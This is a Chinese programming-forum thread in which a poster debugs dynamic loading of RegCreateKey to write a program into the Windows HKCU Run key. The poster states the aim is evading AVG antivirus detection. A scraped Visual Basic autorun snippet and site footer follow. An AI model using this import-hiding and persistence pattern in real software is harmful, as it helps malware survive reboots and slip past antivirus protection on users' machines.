RegCreateKey动态载入失败问题 求指教

csh_cool 2012-05-09 08:40:37
#pragma comment(lib, "Advapi32.lib")

{
。。。。。。。。。。。。

HINSTANCE hDLL;
REFI lpfnDllFunc1;
char DLLFunc1[]={("RegCreateKey")};
hDLL = LoadLibraryA("Advapi32");
if (hDLL != NULL)
{
lpfnDllFunc1 = (REFI)GetProcAddress(hDLL,DLLFunc1);//
if (!lpfnDllFunc1) //到此失败 =======求指教,谢谢各位大侠
{
FreeLibrary(hDLL);
}
else
{
if (lpfnDllFunc1(HKEY_CURRENT_USER,str,&hKey)!=ERROR_SUCCESS)
{
RegCloseKey(hKey);
}
else
{
int length = 0;
while(destpath[length]!=('\0'))
length++;
RegSetValueEx(hKey, _T("Subtem"), 0, REG_SZ,(const BYTE *)destpath, sizeof(TCHAR)*length);
RegCloseKey(hKey);
}
}
}
。。。。。。。。。。。。
}
...全文
113 10 打赏 收藏 转发到动态 举报
写回复
用AI写文章
10 条回复
切换为时间正序
请发表友善的回复…
发表回复
csh_cool 2012-05-10
  • 打赏
  • 举报
回复
[Quote=引用 8 楼 的回复:]
str是啥
如果是宽字符则RegCreateKeyW
[/Quote]

谢谢 是W就可以了
csh_cool 2012-05-10
  • 打赏
  • 举报
回复
[Quote=引用 8 楼 的回复:]
str是啥
如果是宽字符则RegCreateKeyW
[/Quote]
我设置了unicode
HKEY hKey;
TCHAR * str = _T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
Lactoferrin 2012-05-09
  • 打赏
  • 举报
回复
str是啥
如果是宽字符则RegCreateKeyW
csh_cool 2012-05-09
  • 打赏
  • 举报
回复
我取消动态载入就能成功
csh_cool 2012-05-09
  • 打赏
  • 举报
回复
[Quote=引用 5 楼 的回复:]
char DLLFunc1[]="RegCreateKeyA";
[/Quote]
HINSTANCE hDLL;
REFI lpfnDllFunc1;
char DLLFunc1[]="RegCreateKeyA";
hDLL = LoadLibraryA("Advapi32");
if (hDLL != NULL)
{
lpfnDllFunc1 = (REFI)GetProcAddress(hDLL,DLLFunc1);//
if (!lpfnDllFunc1)
{
int s=GetLastError();
FreeLibrary(hDLL);
}
else
{
if (lpfnDllFunc1(HKEY_CURRENT_USER,str,&hKey)!=ERROR_SUCCESS)
{
RegCloseKey(hKey);
}
else
{
int length = 0;
while(destpath[length]!=('\0'))
length++;
if (ERROR_SUCCESS== (RegSetValueEx(hKey, _T("Subtem"), 0, REG_SZ,(const BYTE *)destpath, sizeof(TCHAR)*length)) )
{
printf("write key ok");//////////////
}
else
printf("write key failed");
RegCloseKey(hKey);
}
}
}
谢谢现在能显示成功了,但我在注册表里找不到是怎莫回事呢
Lactoferrin 2012-05-09
  • 打赏
  • 举报
回复
char DLLFunc1[]="RegCreateKeyA";
csh_cool 2012-05-09
  • 打赏
  • 举报
回复
[Quote=引用 1 楼 的回复:]
GetLastError()看看是什么?

直接使用不行吗?
[/Quote]
error code:127 找不到制定程序
csh_cool 2012-05-09
  • 打赏
  • 举报
回复
[Quote=引用 1 楼 的回复:]
GetLastError()看看是什么?

直接使用不行吗?
[/Quote]
avg免杀
Lactoferrin 2012-05-09
  • 打赏
  • 举报
回复
char DLLFunc1[]="RegCreateKey";
Eleven 2012-05-09
  • 打赏
  • 举报
回复
GetLastError()看看是什么?

直接使用不行吗?
Option Explicit Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value. Private Const HKEY_CURRENT_USER = &H80000001 Private Const REG_SZ = 1 Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value. Private Const HKEY_CURRENT_USER = &H80000001 Private Const REG_SZ = 1 Private Sub Form_Load() Dim SubKey As String Dim Exe As String Dim hKey As Long SubKey = "Software\Microsoft\Windows\CurrentVersion\Run" Exe = App.Path & "\color.exe" '你所要啟動的項目 RegCreateKey HKEY_CURRENT_USER, SubKey, hKey RegSetValueEx hKey, "你想要命名的名", 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1 RegCloseKey hKey End Sub

15,471

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 进程/线程/DLL
社区管理员
  • 进程/线程/DLL社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧